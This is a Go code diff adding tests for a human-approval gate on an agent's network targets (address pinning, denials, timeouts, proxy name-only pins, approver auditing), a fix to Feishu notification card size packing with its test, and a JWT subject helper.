+		t.Fatalf("attached call: %+v, want approved", res)
+	}
+	if got := pins(t, d, scope); len(got) != 1 {
+		t.Fatalf("pins = %+v, want the late approval to pin", got)
+	}
+}
+
+func TestWaitBoundReturnsPendingCode(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, 150*time.Millisecond)
+	tgt := target("app.example.com", 443, "203.0.113.7")
+	start := time.Now()
+	res := result(t, request(context.Background(), ic, scope, nil, tgt))
+	if res.Code != TargetApprovalPending || res.PendingID == 0 {
+		t.Fatalf("bounded call: %+v, want %s", res, TargetApprovalPending)
+	}
+	if waited := time.Since(start); waited < 150*time.Millisecond {
+		t.Fatalf("the call returned after %v, before its wait bound", waited)
+	}
+	if ids := openRows(t, d, scope); !slices.Equal(ids, []int64{res.PendingID}) {
+		t.Fatalf("open requests = %v, want the request %d left open", ids, res.PendingID)
+	}
+
+	// Bound 0 (the final settlement round): never wait, but still ask.
+	never := scope
+	never.WaitBound = 0
+	other := target("other.example.com", 443, "203.0.113.8")
+	res = result(t, request(context.Background(), ic, never, nil, other))
+	if res.Code != TargetApprovalPending || res.Host != "other.example.com" || res.PendingID == 0 {
+		t.Fatalf("zero-bound call: %+v, want an immediate %s", res, TargetApprovalPending)
+	}
+	if len(openRows(t, d, scope)) != 2 {
+		t.Fatalf("open requests = %v, want the zero-bound call to have created its request", openRows(t, d, scope))
+	}
+	// An ask is never merged into a row the call does not wait on.
+	asked := ic.RequestTargets(context.Background(), never, "WebFetch", webFetchInput,
+		[]TargetRequest{target("third.example.com", 443, "203.0.113.9")}, &Decision{Action: "ask", Message: "rule asks"})
+	if asked.Code != TargetApprovalPending || asked.AskMerged {
+		t.Fatalf("zero-bound call with an ask: %+v, want a plain open request", asked)
+	}
+	if row, err := d.GetInterceptPending(asked.PendingID); err != nil || row == nil || row.Status != "pending" {
+		t.Fatalf("request of the zero-bound call = %+v, %v; want left open", row, err)
+	}
+}
+
+func askRule(t *testing.T, d *db.DB, timeoutEnabled bool, seconds int, action string) Decision {
+	t.Helper()
+	rule, err := d.CreateInterceptRule(fmt.Sprintf("target merge %d", time.Now().UnixNano()), "tool_name", "string",
+		"NoSuchToolForTargetMerge", "ask", "", 0, false, timeoutEnabled, seconds, action)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = d.DeleteInterceptRule(rule.ID) })
+	return Decision{Action: "ask", Message: "rule requires approval", RuleID: rule.ID, RuleName: rule.Name,
+		TimeoutEnabled: timeoutEnabled, TimeoutSeconds: seconds, TimeoutAction: action}
+}
+
+// A merged row is bound to the call that created it: when that call leaves, the
+// system closes the row, and nothing is pinned.
+func TestMergedRequestSettledWhenCreatorLeaves(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	ask := askRule(t, d, false, 0, "deny")
+	ctx, cancel := context.WithCancel(context.Background())
+	call := request(ctx, ic, scope, &ask, target("app.example.com", 443, "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	detail, err := d.GetInterceptDetail(id)
+	if err != nil || detail == nil || detail.RuleID == nil || *detail.RuleID != ask.RuleID || detail.DecisionSource != "target" ||
+		detail.Audit == nil || !detail.Audit.MergedAsk || detail.Audit.RuleName != ask.RuleName || len(detail.Audit.Targets) != 1 {
+		t.Fatalf("merged row = %+v, %v; want the rule and the target on one row", detail, err)
+	}
+	if !strings.Contains(detail.Reason, "rule requires approval") || !strings.Contains(detail.Reason, "app.example.com:443") ||
+		!strings.Contains(detail.Reason, "203.0.113.7") || !strings.Contains(detail.Reason, "Approving pins these addresses for task "+scope.TaskID+" until revoked.") {
+		t.Fatalf("merged reason does not name both the ask and the target: %q", detail.Reason)
+	}
+	eventually(t, "the creating call to wait", func() bool { return waiters(ic, id) == 1 })
+	cancel()
+	res := result(t, call)
+	if res.Code != TargetDenied || !res.AskMerged || res.PendingID != id {
+		t.Fatalf("creating call after cancel: %+v, want %s with the ask merged", res, TargetDenied)
+	}
+	row, err := d.GetInterceptDetail(id)
+	if err != nil || row == nil || row.Status != "denied" || row.DecidedBy != "system" || row.Audit.EffectiveAction != "deny" ||
+		row.Audit.DecisionReason != "work cancelled" {
+		t.Fatalf("merged row after its creator left = %+v, %v; want denied by the system", row, err)
+	}
+	if got := pins(t, d, scope); len(got) != 0 {
+		t.Fatalf("a row closed by the system pinned: %+v", got)
+	}
+}
+
+// A timeout never pins, whatever the rule says: timeout_action = allow is
+// overridden on a merged row and the override is recorded.
+func TestTimeoutNeverPins(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	ask := askRule(t, d, true, 1, "allow")
+	res := result(t, request(context.Background(), ic, scope, &ask, target("app.example.com", 443, "203.0.113.7")))
+	if res.Code != TargetDenied || !res.AskMerged {
+		t.Fatalf("call after the rule timeout: %+v, want %s", res, TargetDenied)
+	}
+	row, err := d.GetInterceptDetail(res.PendingID)
+	if err != nil || row == nil || row.Status != "timeout" || row.DecidedBy != "system" || row.Audit.EffectiveAction != "deny" ||
+		row.Audit.ExecutionStatus != "not_executed" || !strings.Contains(row.Audit.DecisionReason, `timeout action "allow" was overridden`) {
+		t.Fatalf("timed-out merged row = %+v, %v; want a timeout that denies and records the override", row, err)
+	}
+	if got := pins(t, d, scope); len(got) != 0 {
+		t.Fatalf("a timeout pinned: %+v", got)
+	}
+	if len(openRows(t, d, scope)) != 0 {
+		t.Fatal("the merged row is still open after its creator left")
+	}
+}
+
+// What is displayed is what is pinned: the addresses stored when the row was
+// created. A call that attaches with other addresses never rewrites them.
+func TestDecidePinsDisplayedIPs(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	creator := request(context.Background(), ic, scope, nil, target("app.example.com", 443, "203.0.113.8", "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	attached := request(context.Background(), ic, scope, nil, target("app.example.com", 443, "198.51.100.66"))
+	eventually(t, "both calls to wait", func() bool { return waiters(ic, id) == 2 })
+	shown, err := d.GetInterceptDetail(id)
+	if err != nil || shown == nil || len(shown.Audit.Targets) != 1 ||
+		!slices.Equal(shown.Audit.Targets[0].ResolvedIPs, []string{"203.0.113.8", "203.0.113.7"}) || strings.Contains(shown.Reason, "198.51.100.66") {
+		t.Fatalf("displayed request = %+v, %v; want the creator's addresses only", shown, err)
+	}
+	if err := ic.Decide(id, true, "ARTEX", "198.51.100.9"); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, creator); res.Code != "" {
+		t.Fatalf("creator: %+v", res)
+	}
+	if res := result(t, attached); res.Code != "" {
+		t.Fatalf("attached: %+v", res)
+	}
+	got := pins(t, d, scope)
+	if len(got) != 1 || !slices.Equal(got[0].PinnedIPs, []string{"203.0.113.7", "203.0.113.8"}) || got[0].InterceptID == nil || *got[0].InterceptID != id {
+		t.Fatalf("pins = %+v, want exactly the displayed addresses", got)
+	}
+}
+
+func TestDeniedRequestPinsNothing(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	tgt := target("app.example.com", 443, "203.0.113.7")
+	call := request(context.Background(), ic, scope, nil, tgt)
+	id := oneOpenRow(t, d, scope)
+	if err := ic.Decide(id, false, "ARTEX", "198.51.100.9"); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, call); res.Code != TargetDenied || res.PendingID != id {
+		t.Fatalf("denied call: %+v, want %s", res, TargetDenied)
+	}
+	if got := pins(t, d, scope); len(got) != 0 {
+		t.Fatalf("a denial pinned: %+v", got)
+	}
+	row, err := d.GetInterceptDetail(id)
+	if err != nil || row == nil || row.Status != "denied" || row.DecidedBy != "human" || row.Audit.Targets[0].Outcome != "denied" ||
+		row.Audit.Approver != "ARTEX" || row.Audit.ApproverAddr != "198.51.100.9" {
+		t.Fatalf("denied row = %+v, %v", row, err)
+	}
+	// No sticky denial: the next call asks again, on a new row.
+	next := request(context.Background(), ic, scope, nil, tgt)
+	if fresh := oneOpenRow(t, d, scope); fresh == id {
+		t.Fatal("the next call reused the denied row")
+	} else if err := ic.Decide(fresh, true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, next); res.Code != "" {
+		t.Fatalf("call after the denial: %+v, want approved", res)
+	}
+}
+
+// A call attached to a merged row that closes without an approval is not
+// blocked for the host: the row was about another call. It asks once more with
+// a plain request, then blocks.
+func TestAttachedWaiterRequeuesAfterMergedDenial(t *testing.T) {
+	d := targetTestDB(t)
+	for _, approveRetry := range []bool{true, false} {
+		t.Run(fmt.Sprintf("retry approved=%v", approveRetry), func(t *testing.T) {
+			ic := New(d)
+			scope := taskScope(t, d, ic, time.Minute)
+			ask := askRule(t, d, false, 0, "deny")
+			tgt := target("app.example.com", 443, "203.0.113.7")
+			creator := request(context.Background(), ic, scope, &ask, tgt)
+			merged := oneOpenRow(t, d, scope)
+			attached := request(context.Background(), ic, scope, nil, tgt)
+			eventually(t, "both calls to wait", func() bool { return waiters(ic, merged) == 2 })
+			if err := ic.Decide(merged, false, "ARTEX", ""); err != nil {
+				t.Fatal(err)
+			}
+			if res := result(t, creator); res.Code != TargetDenied || !res.AskMerged {
+				t.Fatalf("creator of the merged row: %+v, want %s", res, TargetDenied)
+			}
+			var retry int64
+			eventually(t, "the attached call to ask again", func() bool {
+				ids := openRows(t, d, scope)
+				if len(ids) == 1 && ids[0] != merged {
+					retry = ids[0]
+				}
+				return retry != 0
+			})
+			plain, err := d.GetInterceptDetail(retry)
+			if err != nil || plain == nil || plain.RuleID != nil || plain.Audit.MergedAsk {
+				t.Fatalf("retry row = %+v, %v; want a plain target request", plain, err)
+			}
+			stillWaiting(t, attached)
+			if err := ic.Decide(retry, approveRetry, "ARTEX", ""); err != nil {
+				t.Fatal(err)
+			}
+			res := result(t, attached)
+			if approveRetry && (res.Code != "" || len(pins(t, d, scope)) != 1) {
+				t.Fatalf("attached call after its retry was approved: %+v pins=%+v", res, pins(t, d, scope))
+			}
+			if !approveRetry && (res.Code != TargetDenied || res.PendingID != retry || len(pins(t, d, scope)) != 0) {
+				t.Fatalf("attached call after its retry was denied: %+v, want %s", res, TargetDenied)
+			}
+			// One retry, then block: never a third request.
+			if n := allRows(t, d, scope); n != 2 {
+				t.Fatalf("%d request rows, want the merged one and one retry", n)
+			}
+		})
+	}
+}
+
+// The request rows of a conversation go with it (cascade). A waiter that finds
+// its row gone stops with a block.
+func TestWaiterStopsWhenRowDeleted(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	conv, err := d.CreateConversation("assistant", fmt.Sprintf("target wait %d", time.Now().UnixNano()), nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_ = d.DeleteConversation(conv.ID)
+		_, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, conv.ID)
+	})
+	scope := TargetScope{ConversationID: conv.ID, Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: ic}
+	call := request(WithConvID(context.Background(), conv.ID), ic, scope, nil, target("app.example.com", 443, "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	eventually(t, "the call to wait", func() bool { return waiters(ic, id) == 1 })
+	// The card went to the conversation stream.
+	var cards int
+	if err := d.QueryRow(`SELECT count(*) FROM conversation_activities WHERE conversation_id=$1 AND kind='intercept_request'`, conv.ID).Scan(&cards); err != nil || cards != 1 {
+		t.Fatalf("%d approval cards in the conversation (%v), want 1", cards, err)
+	}
+	if err := d.DeleteConversation(conv.ID); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, call); res.Code != TargetGateUnavailable || res.PendingID != id {
+		t.Fatalf("call whose request was deleted: %+v, want %s", res, TargetGateUnavailable)
+	}
+}
+
+// Every human decision records who took it and from where: on the pin and in
+// the audit of a target row, in the audit of a classic ask. decided_by on the
+// row stays the actor class.
+func TestDecideRecordsApproverAndAddress(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	call := request(context.Background(), ic, scope, nil, target("app.example.com", 443, "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	if err := ic.Decide(id, true, "ARTEX", "198.51.100.9"); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, call); res.Code != "" {
+		t.Fatalf("approved call: %+v", res)
+	}
+	got := pins(t, d, scope)
+	if len(got) != 1 || got[0].DecidedBy != "ARTEX" || got[0].DecidedFrom != "198.51.100.9" {
+		t.Fatalf("pin = %+v, want the approver and the address", got)
+	}
+	row, err := d.GetInterceptDetail(id)
+	if err != nil || row == nil || row.DecidedBy != "human" || row.Audit.Approver != "ARTEX" || row.Audit.ApproverAddr != "198.51.100.9" {
+		t.Fatalf("target row = %+v, %v", row, err)
+	}
+
+	// A classic ask goes through the same Decide and records the same.
+	ctx := WithTaskContext(context.Background(), scope.TaskID, "work#1", nil)
+	allowed := make(chan bool, 1)
+	go func() {
+		allowed <- ic.HandleAsk(ctx, 0, Decision{Action: "ask", Message: "classic ask"}, "Bash", []byte(`{"command":"id"}`))
+	}()
+	var classic int64
+	eventually(t, "the classic ask", func() bool {
+		return d.QueryRow(`SELECT id FROM intercept_pending WHERE task_id=$1 AND status='pending' AND target_key IS NULL`, scope.TaskID).Scan(&classic) == nil
+	})
+	eventually(t, "the classic ask to wait", func() bool { return waiters(ic, classic) == 1 })
+	if err := ic.Decide(classic, true, "ARTEX", "198.51.100.10"); err != nil {
+		t.Fatal(err)
+	}
+	select {
+	case ok := <-allowed:
+		if !ok {
+			t.Fatal("the approved classic ask was refused")
+		}
+	case <-time.After(20 * time.Second):
+		t.Fatal("the classic ask is still waiting")
+	}
+	row, err = d.GetInterceptDetail(classic)
+	if err != nil || row == nil || row.Status != "allowed" || row.DecidedBy != "human" || row.Audit == nil ||
+		row.Audit.Approver != "ARTEX" || row.Audit.ApproverAddr != "198.51.100.10" || len(row.Audit.Targets) != 0 {
+		t.Fatalf("classic row = %+v, %v; want the approver and the address in its audit", row, err)
+	}
+	if len(pins(t, d, scope)) != 1 {
+		t.Fatal("approving a classic ask pinned something")
+	}
+}
+
+// Behind the upstream proxy the proxy chooses the address: the request says the
+// approval is name-only and the pin carries the mark. The mark stays when the
+// proxy is removed; addresses are enforced again only after a new approval.
+func TestPinUnderGlobalProxyIsNameOnly(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	var proxied atomic.Bool
+	ic.SetUpstreamProxyCheck(proxied.Load)
+	scope := taskScope(t, d, ic, time.Minute)
+	const sentence = "This approval is name-only."
+	approve := func(host string) (*db.TargetPin, string) {
+		t.Helper()
+		call := request(context.Background(), ic, scope, nil, target(host, 443, "203.0.113.7"))
+		id := oneOpenRow(t, d, scope)
+		row, err := d.GetInterceptDetail(id)
+		if err != nil || row == nil {
+			t.Fatalf("request row: %+v, %v", row, err)
+		}
+		if err := ic.Decide(id, true, "ARTEX", ""); err != nil {
+			t.Fatal(err)
+		}
+		if res := result(t, call); res.Code != "" {
+			t.Fatalf("approved call: %+v", res)
+		}
+		active, err := d.ActiveTargetPins(scope.dbRef(t), host, 443)
+		if err != nil || len(active) != 1 {
+			t.Fatalf("active pins of %s = %+v, %v", host, active, err)
+		}
+		return active[0], row.Reason
+	}
+
+	direct, reason := approve("direct.example.com")
+	if direct.NameOnlyEffective || strings.Contains(reason, sentence) {
+		t.Fatalf("without a proxy: pin=%+v reason=%q, want an address pin", direct, reason)
+	}
+
+	proxied.Store(true)
+	named, reason := approve("proxied.example.com")
+	if !named.NameOnlyEffective || !strings.Contains(reason, sentence) || !strings.Contains(reason, "upstream proxy") {
+		t.Fatalf("behind the proxy: pin=%+v reason=%q, want a name-only pin and a request that says so", named, reason)
+	}
+	if !slices.Equal(named.PinnedIPs, []string{"203.0.113.7"}) {
+		t.Fatalf("name-only pin addresses = %v, want what the platform resolved", named.PinnedIPs)
+	}
+
+	// The proxy is removed: the pin stays name-only, the address pin stays one.
+	proxied.Store(false)
+	ref := scope.dbRef(t)
+	if still, err := d.ActiveTargetPins(ref, "proxied.example.com", 443); err != nil || len(still) != 1 || !still[0].NameOnlyEffective {
+		t.Fatalf("name-only pin after the proxy was removed = %+v, %v; want still name-only", still, err)
+	}
+	if still, err := d.ActiveTargetPins(ref, "direct.example.com", 443); err != nil || len(still) != 1 || still[0].NameOnlyEffective {
+		t.Fatalf("address pin = %+v, %v", still, err)
+	}
+	// Enforcing addresses again takes a revocation and a new approval.
+	if _, err := d.RevokeTargetPin(ref, named.ID); err != nil {
+		t.Fatal(err)
+	}
+	if again, _ := approve("proxied.example.com"); again.NameOnlyEffective || again.Version != 2 {
+		t.Fatalf("pin approved after the proxy was removed = %+v, want an address pin, version 2", again)
+	}
+}
+
+// A new_ip request shows the old version, the pinned addresses and the new
+// ones, and its approval extends the pin.
+func TestNewIPRequestShowsOldAndNewAddresses(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	first := request(context.Background(), ic, scope, nil, target("app.example.com", 0, "203.0.113.7"))
+	id := oneOpenRow(t, d, scope)
+	if row, err := d.GetInterceptDetail(id); err != nil || row == nil || !strings.Contains(row.Reason, "app.example.com (port not declared: every port)") {
+		t.Fatalf("port-0 request = %+v, %v; want the reason to say the port is not declared", row, err)
+	}
+	if err := ic.Decide(id, true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, first); res.Code != "" {
+		t.Fatalf("first call: %+v", res)
+	}
+	v1 := pins(t, d, scope)[0]
+
+	moved := target("app.example.com", 0, "203.0.113.99")
+	moved.Reason, moved.Pin = "new_ip", v1
+	second := request(context.Background(), ic, scope, nil, moved)
+	id = oneOpenRow(t, d, scope)
+	row, err := d.GetInterceptDetail(id)
+	if err != nil || row == nil || !strings.Contains(row.Reason, "pin v1: 203.0.113.7") || !strings.Contains(row.Reason, "now resolves to 203.0.113.99") {
+		t.Fatalf("new_ip request = %+v, %v; want the old version, the pinned and the new addresses", row, err)
+	}
+	if got := row.Audit.Targets[0]; got.Reason != "new_ip" || got.PinID != v1.ID || got.PinVersion != 1 || !slices.Equal(got.PinnedIPs, []string{"203.0.113.7"}) {
+		t.Fatalf("recorded target = %+v", got)
+	}
+	if err := ic.Decide(id, true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, second); res.Code != "" {
+		t.Fatalf("second call: %+v", res)
+	}
+	active, err := d.ActiveTargetPins(scope.dbRef(t), "app.example.com", 0)
+	if err != nil || len(active) != 1 || active[0].Version != 2 || !slices.Equal(active[0].PinnedIPs, []string{"203.0.113.7", "203.0.113.99"}) {
+		t.Fatalf("pin after the new_ip approval = %+v, %v; want v2 with both addresses", active, err)
+	}
+}
+
+// One call, several targets: one request per host and port, and the call
+// passes only when all of them are approved.
+func TestSeveralTargetsNeedEveryApproval(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	ask := askRule(t, d, false, 0, "deny")
+	call := request(context.Background(), ic, scope, &ask,
+		target("a.example.com", 443, "203.0.113.1"), target("b.example.com", 443, "203.0.113.2"))
+	var ids []int64
+	eventually(t, "two open requests", func() bool {
+		ids = openRows(t, d, scope)
+		return len(ids) == 2
+	})
+	// The ask is merged into the first row the call created; the other is plain.
+	for n, id := range ids {
+		row, err := d.GetInterceptDetail(id)
+		if err != nil || row == nil || row.Audit.MergedAsk != (n == 0) || (row.RuleID != nil) != (n == 0) {
+			t.Fatalf("row %d = %+v, %v; want the ask merged into the first row only", n, row, err)
+		}
+	}
+	if err := ic.Decide(ids[0], true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	stillWaiting(t, call)
+	if err := ic.Decide(ids[1], false, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	res := result(t, call)
+	if res.Code != TargetDenied || res.Host != "b.example.com" || !res.AskMerged {
+		t.Fatalf("call with one target denied: %+v, want %s on b.example.com", res, TargetDenied)
+	}
+	if got := pins(t, d, scope); len(got) != 1 || got[0].Host != "a.example.com" {
+		t.Fatalf("pins = %+v, want only the approved host", got)
+	}
+}
+
+// A scope that names no task and no conversation, or a task id that is not a
+// number, never reaches the store.
+func TestRequestTargetsRejectsBadScope(t *testing.T) {
+	ic := New(nil)
+	for name, scope := range map[string]TargetScope{
+		"empty":        {WaitBound: time.Minute},
+		"both":         {TaskID: "7", ConversationID: 9, WaitBound: time.Minute},
+		"task not int": {TaskID: "seven", WaitBound: time.Minute},
+	} {
+		res := ic.RequestTargets(context.Background(), scope, "WebFetch", webFetchInput, []TargetRequest{target("app.example.com", 443, "203.0.113.7")}, nil)
+		if res.Code != TargetGateUnavailable {
+			t.Errorf("%s scope: %+v, want %s", name, res, TargetGateUnavailable)
+		}
+	}
+}

intercept/testmain_test.go

@@ -0,0 +1,17 @@
+package intercept
+
+import (
+	"os"
+	"testing"
+	"time"
+
+	"github.com/Autumn-27/artex/db"
+)
+
+func TestMain(m *testing.M) {
+	// Own database per package (#80), as in db, agent, server and evidence.
+	db.SuffixTestDatabase("intercept")
+	// A short poll keeps the cross-instance tests fast; production uses 2 s.
+	targetPollInterval = 50 * time.Millisecond
+	os.Exit(m.Run())
+}

notify/feishu.go

@@ -126,6 +126,12 @@ func feishuSeverityTemplate(severity string) string {
 // clearly below that limit to also cover JSON wrapping overhead.
 const feishuMaxCardBytes = 16000
 
+// feishuEnvelopeBytes is the size of what Send serializes around the card when a
+// signing secret is configured (without one the request is smaller):
+//
+//	{"card":…,"msg_type":"interactive","sign":"<44 characters>","timestamp":"<10 digits>"}
+const feishuEnvelopeBytes = 113
+
 // feishuCard builds the interactive card and returns it along with the **number
 // of items actually written**. kept serves the same purpose as in markdownBody:
 // only items that actually made it into the card should be marked as sent.
@@ -135,23 +141,51 @@ func feishuCard(m Message) (map[string]any, int) {
 	// TruncateBytes plays in markdownBody. With the summary or asset limit set to
 	// 0 an item has no other bound, and an oversized card loses the whole message.
 	budget := feishuMaxCardBytes - markdownReservedBytes
+	card := map[string]any{
+		"config": map[string]any{"wide_screen_mode": true},
+		"header": map[string]any{"title": map[string]any{"tag": "plain_text", "content": markdownTitle(m)}},
+	}
+	if len(m.Items) > 0 {
+		card["header"].(map[string]any)["template"] = feishuSeverityTemplate(m.Items[0].Severity)
+	}
 	elements := []any{}
 	kept := 0
 	if m.Batch {
-		// Pack whole items first, then assemble the header: the header must state
-		// "the remaining N items will continue in the next message", and N must
-		// come from the number of items that actually fit.
-		kept = packItemCount(m.Items, feishuMaxCardBytes, markdownReservedBytes, "", byteSize, func(it Item, idx int) string {
-			return feishuBatchLine(it, idx+1, lim)
-		})
-		items := m.Items[:kept]
-		elements = append(elements, feishuMarkdownDiv(markdownBatchIntro(m, items, len(m.Items))))
-		for i, it := range items {
-			elements = append(elements, feishuMarkdownDiv(TruncateBytes(feishuBatchLine(it, i+1, lim), budget)))
+		// digest assembles the elements of a digest card around the lines of its
+		// first n items. The intro must state "the remaining N items will continue
+		// in the next message", and N must come from the number of items that
+		// actually fit.
+		digest := func(n int, lines []any) []any {
+			out := []any{feishuMarkdownDiv(markdownBatchIntro(m, m.Items[:n], len(m.Items)))}
+			out = append(out, lines...)
+			if m.HomeURL != "" {
+				out = append(out, feishuButton("View all on the platform", m.HomeURL))
+			}
+			return out
 		}
-		if m.HomeURL != "" {
-			elements = append(elements, feishuButton("View all on the platform", m.HomeURL))
+		// Pack whole items (see packItemCount) against the request body as it will
+		// be serialized, not against the text of the lines. Each line is sent as
+		// its own element: about 52 bytes of JSON around the text, plus whatever
+		// the encoding escapes. Counted as text alone, several hundred short lines
+		// left as one request of more than twice the 20 KB limit. The rest of the
+		// body is measured too: it changes with the number of items kept (the
+		// intro) and with the platform link.
+		//
+		// The first item is always kept: otherwise one oversized item would jam
+		// the whole batch in place. Its text is truncated to budget.
+		var lines []any
+		used := 0
+		for i, it := range m.Items {
+			line := feishuMarkdownDiv(TruncateBytes(feishuBatchLine(it, i+1, lim), budget))
+			used += feishuJSONSize(line) + 1 // the element and its separating comma
+			card["elements"] = digest(i+1, nil)
+			if i > 0 && feishuEnvelopeBytes+feishuJSONSize(card)+used > feishuMaxCardBytes {
+				break
+			}
+			lines = append(lines, line)
 		}
+		kept = len(lines)
+		elements = digest(kept, lines)
 	} else if len(m.Items) > 0 {
 		kept = 1
 		it := m.Items[0]
@@ -161,17 +195,16 @@ func feishuCard(m Message) (map[string]any, int) {
 		}
 	}
 
-	card := map[string]any{
-		"config":   map[string]any{"wide_screen_mode": true},
-		"header":   map[string]any{"title": map[string]any{"tag": "plain_text", "content": markdownTitle(m)}},
-		"elements": elements,
-	}
-	if len(m.Items) > 0 {
-		card["header"].(map[string]any)["template"] = feishuSeverityTemplate(m.Items[0].Severity)
-	}
+	card["elements"] = elements
 	return card, kept
 }
 
+// feishuJSONSize returns the number of bytes v takes in the request body.
+func feishuJSONSize(v any) int {
+	raw, _ := json.Marshal(v)
+	return len(raw)
+}
+
 func feishuMarkdownDiv(content string) map[string]any {
 	return map[string]any{"tag": "div", "text": map[string]any{"tag": "lark_md", "content": content}}
 }

notify/pack_test.go

@@ -1,6 +1,11 @@
 package notify
 
 import (
+	"context"
+	"encoding/json"
+	"io"
+	"net/http"
+	"net/http/httptest"
 	"strings"
 	"testing"
 	"unicode/utf8"
@@ -105,6 +110,112 @@ func TestFeishuPackingReportsKept(t *testing.T) {
 	}
 }
 
+// TestFeishuDigestBodiesStayWithinCardLimit covers digests of many short items.
+//
+// Every digest line is sent as its own card element, which costs about 52 bytes
+// of JSON around the text plus whatever the encoding escapes. The packing used
+// to count the text only, so a digest of several hundred short lines left as one
+// request of more than twice Feishu's 20 KB limit, and Feishu rejects such a
+// request as a whole.
+//
+// The digest is sent the way the delivery engine does it: the items a message
+// did not hold go into the next one. The bodies measured are the real ones sent
+// on the wire, signature included. No item may be lost on the way: across the
+// messages, every item appears exactly once and in order.
+func TestFeishuDigestBodiesStayWithinCardLimit(t *testing.T) {
+	const total = 500
+
+	short := batchMsg(total)
+	for i := range short.Items {
+		short.Items[i].Assets = nil
+	}
+	// The JSON encoding escapes quotes, angle brackets and ampersands, and the
+	// backslashes the lark_md escaping put in before it: these titles take
+	// several times their length once serialized.
+	escaped := batchMsg(total)
+	for i := range escaped.Items {
+		escaped.Items[i].Name = `<a href="x">R&D</a> vuln` + itoa(i+1)
+	}
+
+	cases := []struct {
+		name string
+		m    Message
+	}{
+		{"short lines without assets", short},
+		{"short lines with one asset", batchMsg(total)},
+		{"lines that grow when serialized", escaped},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			var raw []byte
+			srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				raw, _ = io.ReadAll(r.Body)
+				_, _ = io.WriteString(w, `{"code":0,"msg":"success"}`)
+			}))
+			defer srv.Close()
+			cfg := map[string]any{"webhook": srv.URL, "secret": "SECtest123"}
+
+			m := tc.m
+			seen, messages := 0, 0
+			for len(m.Items) > 0 {
+				kept, err := (feishuChannel{}).Send(context.Background(), cfg, m)
+				if err != nil {
+					t.Fatalf("message %d: delivery failed: %v", messages+1, err)
+				}
+				messages++
+				if len(raw) > feishuMaxCardBytes {
+					t.Fatalf("message %d: request body of %d bytes exceeds the limit of %d (%d of %d items left to send)",
+						messages, len(raw), feishuMaxCardBytes, len(m.Items), total)
+				}
+				var body struct {
+					Card json.RawMessage `json:"card"`
+				}
+				var card struct {
+					Elements []struct {
+						Tag  string `json:"tag"`
+						Text struct {
+							Content string `json:"content"`
+						} `json:"text"`
+					} `json:"elements"`
+				}
+				if err := json.Unmarshal(raw, &body); err != nil {
+					t.Fatalf("message %d: request body is not valid JSON: %v", messages, err)
+				}
+				if err := json.Unmarshal(body.Card, &card); err != nil {
+					t.Fatalf("message %d: card is not valid JSON: %v", messages, err)
+				}
+				// The packing counts what Send adds around the card as a constant.
+				if got := len(raw) - len(body.Card); got != feishuEnvelopeBytes {
+					t.Fatalf("message %d: %d bytes around the card, feishuEnvelopeBytes says %d", messages, got, feishuEnvelopeBytes)
+				}
+				// Element 0 is the intro; the button, when present, is not a div.
+				lines := 0
+				for _, el := range card.Elements[1:] {
+					if el.Tag != "div" {
+						continue
+					}
+					lines++
+					if want := "vuln" + itoa(seen+lines) + "**"; !strings.Contains(el.Text.Content, want) {
+						t.Fatalf("message %d: line %d should be item %d (%q), got %q", messages, lines, seen+lines, want, el.Text.Content)
+					}
+				}
+				if kept <= 0 || kept != lines {
+					t.Fatalf("message %d: %d items reported as delivered, the body holds %d", messages, kept, lines)
+				}
+				t.Logf("message %d: %d items, %d bytes", messages, kept, len(raw))
+				seen += kept
+				m.Items = m.Items[kept:]
+			}
+			if seen != total {
+				t.Fatalf("%d items went out across %d messages, want %d", seen, messages, total)
+			}
+			if messages < 2 {
+				t.Fatalf("%d items should not fit one message", total)
+			}
+		})
+	}
+}
+
 func TestWebhookAndEmailReportAllItems(t *testing.T) {
 	// These two channels do not truncate the body; the whole batch counts as
 	// delivered.

server/auth.go

@@ -178,6 +178,28 @@ func verifyJWT(tokenStr string, key []byte) bool {
 	return err == nil && t.Valid
 }
 
+// jwtSubject returns the subject of tokenStr when it is a valid, non-expired
+// HS256 token, and "" otherwise.
+func jwtSubject(tokenStr string, key []byte) string {
+	var claims jwt.RegisteredClaims
+	t, err := jwt.ParseWithClaims(tokenStr, &claims, func(t *jwt.Token) (any, error) {
+		if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
+			return nil, fmt.Errorf("unexpected signing method")
+		}
+		return key, nil
+	})
